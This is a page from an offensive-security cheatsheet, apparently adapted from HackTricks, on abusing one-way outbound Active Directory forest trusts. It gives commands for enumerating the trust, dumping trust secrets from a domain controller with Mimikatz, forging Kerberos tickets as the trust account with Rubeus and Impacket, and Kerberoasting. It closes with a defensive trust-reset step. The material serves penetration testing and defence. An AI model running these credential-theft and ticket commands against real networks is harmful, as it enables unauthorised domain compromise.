daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

external-forest-domain-one-way-outbound.md (9671B)


      1 ---
      2 title: "External Forest Domain - One-Way (Outbound)"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # External Forest Domain - One-Way (Outbound)
     14 
     15 In this scenario **your domain** is **trusting** some **privileges** to principals from a **different domain/forest**.
     16 
     17 ## Enumeration
     18 
     19 ### Outbound Trust
     20 
     21 ```bash
     22 # Notice Outbound trust
     23 Get-DomainTrust
     24 SourceName      : root.local
     25 TargetName      : ext.local
     26 TrustType       : WINDOWS_ACTIVE_DIRECTORY
     27 TrustAttributes : FOREST_TRANSITIVE
     28 TrustDirection  : Outbound
     29 WhenCreated     : 2/19/2021 10:15:24 PM
     30 WhenChanged     : 2/19/2021 10:15:24 PM
     31 
     32 # Lets find the current domain group giving permissions to the external domain
     33 Get-DomainForeignGroupMember
     34 GroupDomain             : root.local
     35 GroupName               : External Users
     36 GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
     37 MemberDomain            : root.io
     38 MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
     39 MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
     40 ## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
     41 ```
     42 
     43 If you have the AD module available, inspect the **Trusted Domain Object (TDO)** directly as well. This gives you the raw LDAP-backed trust data you will later need when deciding whether the easy path is **FSP/group abuse** or **trust-account abuse**:
     44 
     45 ```powershell
     46 # Enumerate the TDO created for the foreign forest/domain
     47 Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' -SearchBase "CN=System,$((Get-ADDomain).DistinguishedName)" -Properties trustDirection,trustType,trustAttributes,flatName,securityIdentifier,whenCreated,whenChanged |
     48   Select Name,flatName,trustDirection,trustType,trustAttributes,securityIdentifier,whenCreated,whenChanged
     49 
     50 # Fast trust hygiene check from the outbound side
     51 Get-ADTrust -Identity ext.local -Properties ForestTransitive,SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation
     52 ```
     53 
     54 You should also enumerate where the foreign principals from `CN=ForeignSecurityPrincipals` were actually granted access. Common wins are:
     55 
     56 - **Local admin** on a server/DC in your current domain
     57 - Membership in a **custom domain group** that has ACLs over users/computers/GPOs
     58 - Rights to modify **computer objects**, which can later become [RBCD](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) if the trust configuration allows it
     59 
     60 ## Trust Account Attack
     61 
     62 When a one-way trust is created from domain/forest **B** to domain/forest **A** (**B trusts A**), a **trust account** for **B** is created in **A**. In the outbound-trust view of **A**, this is useful because if you later compromise **B** (the trusting side), you can dump the trust secret there and authenticate back to **A** as `B$`.<sup>[[1]](#references)</sup>
     63 
     64 The critical aspect to understand here is that the password and Kerberos material for that trust account can be extracted from a Domain Controller in the **trusting** domain using:<sup>[[1]](#references)</sup>
     65 
     66 ```bash
     67 Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
     68 ```
     69 
     70 This works because the trust account created in the **trusted** domain is an enabled principal that ends up with the baseline rights of a normal domain user there. That is often enough to start enumerating LDAP, request tickets, and find the next escalation path.<sup>[[1]](#references)</sup>
     71 
     72 In a scenario where `ext.local` is the **trusting** domain and `root.local` is the **trusted** domain, a user account named `EXT$` is created inside `root.local`. Dumping the trust keys from `ext.local` reveals credentials that can be used as `root.local\EXT$` against `root.local`:<sup>[[1]](#references)</sup>
     73 
     74 ```bash
     75 lsadump::trust /patch
     76 ```
     77 
     78 Following this, use the extracted **RC4** key to authenticate as `root.local\EXT$` inside `root.local`:<sup>[[1]](#references)</sup>
     79 
     80 ```bash
     81 .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
     82 ```
     83 
     84 Then enumerate the trusted domain as that principal, for example by Kerberoasting a high-value SPN in `root.local`:<sup>[[1]](#references)</sup>
     85 
     86 ```bash
     87 .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
     88 ```
     89 
     90 ### From Linux
     91 
     92 If you recovered the **RC4** trust-account key, the same idea works from Linux with Impacket:
     93 
     94 ```bash
     95 python getTGT.py -dc-ip dc.root.local root.local/EXT\$ -hashes :<RC4>
     96 export KRB5CCNAME=EXT\$.ccache
     97 
     98 # Kerberoast from the trusted domain as the trust account
     99 GetUserSPNs.py -request -k -no-pass -dc-ip dc.root.local root.local/EXT\$ -outputfile root_spns.kerberoast
    100 
    101 # Or reduce noise and request only one user
    102 GetUserSPNs.py -request-user svc_sql -k -no-pass -dc-ip dc.root.local root.local/EXT\$
    103 ```
    104 
    105 If **RC4** is not accepted, fall back to the recovered **cleartext password** (or derived **AES** keys) and reuse the usual [Over-Pass-the-Hash / Pass-the-Key](/hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key) and [Kerberoast](/hacktricks/windows-hardening/active-directory-methodology/kerberoast) workflows from that foothold.
    106 
    107 ### Key material gotchas
    108 
    109 Don't mix up **trust keys** and **trust-account credentials**:<sup>[[1]](#references)</sup>
    110 
    111 - In a one-way trust, both sides store a **TDO**, but the actual **`EXT$` user account only exists in the trusted domain**.
    112 - The current trust-account password is reflected in the TDO trust secret (`NewPassword` / current trust key).
    113 - The **RC4** trust key is the easiest artifact to reuse for `asktgt` as the trust account; in default setups this is usually the working enctype because the trust account often has a blank `msDS-SupportedEncryptionTypes`.
    114 - If you are thinking in terms of **AES trust keys**, remember they are not interchangeable with the trust-account AES keys because the salts differ.
    115 
    116 So, for the technique on this page, prefer either the dumped **RC4** material or the recovered **cleartext** password.<sup>[[1]](#references)</sup>
    117 
    118 ### Gathering cleartext trust password
    119 
    120 In the previous flow it was used the trust hash instead of the **cleartext password** (that is also **dumped by mimikatz**).<sup>[[1]](#references)</sup>
    121 
    122 The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes `\x00`:<sup>[[1]](#references)</sup>
    123 
    124 ![Trust Account Attack - Gathering cleartext trust password: The cleartext password can be obtained by converting the ( CLEAR ) output from mimikatz from hexadecimal and removing null...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28938%29.png)
    125 
    126 Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key rotates (default: every 30 days), the cleartext will usually stop being human readable but is still technically usable.<sup>[[1]](#references)</sup>
    127 
    128 The cleartext password can be used to perform regular authentication as the trust account, as an alternative to requesting a TGT with the Kerberos secret key of the trust account. Here, querying `root.local` from `ext.local` for members of `Domain Admins`:<sup>[[1]](#references)</sup>
    129 
    130 ![Trust Account Attack - Gathering cleartext trust password: The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28792%29.png)
    131 
    132 ### Practical limitations
    133 
    134 > [!WARNING]
    135 > Trust accounts are awkward principals. Interactive logons such as **RUNAS / console / RDP** are not the expected path here, and **NTLM** authentication attempts can fail with `STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT`. Plan for **Kerberos network logons** (`asktgt`, LDAP, CIFS, Kerberoast) instead.<sup>[[1]](#references)</sup>
    136 
    137 ### Persistence / cleanup note
    138 
    139 If defenders realize the trusting domain was compromised, they should rotate the trust secret on **both sides** with `netdom trust ... /resetOneSide ...`. From an operator perspective this matters because a **manual reset invalidates the old trust material immediately**, while normal trust-password rotation keeps current/previous values around during rollover.<sup>[[2]](#references)</sup>
    140 
    141 ```bash
    142 # Run once from the trusted side
    143 netdom trust root.local /domain:ext.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:*
    144 
    145 # Run once from the trusting side
    146 netdom trust ext.local /domain:root.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:*
    147 ```
    148 
    149 ## References
    150 
    151 - [1] [SID filter as security boundary between domains? (Part 7) – Trust account attack – from trusting to trusted](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7)
    152 - [2] [AD Forest Recovery – Resetting a trust password](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust)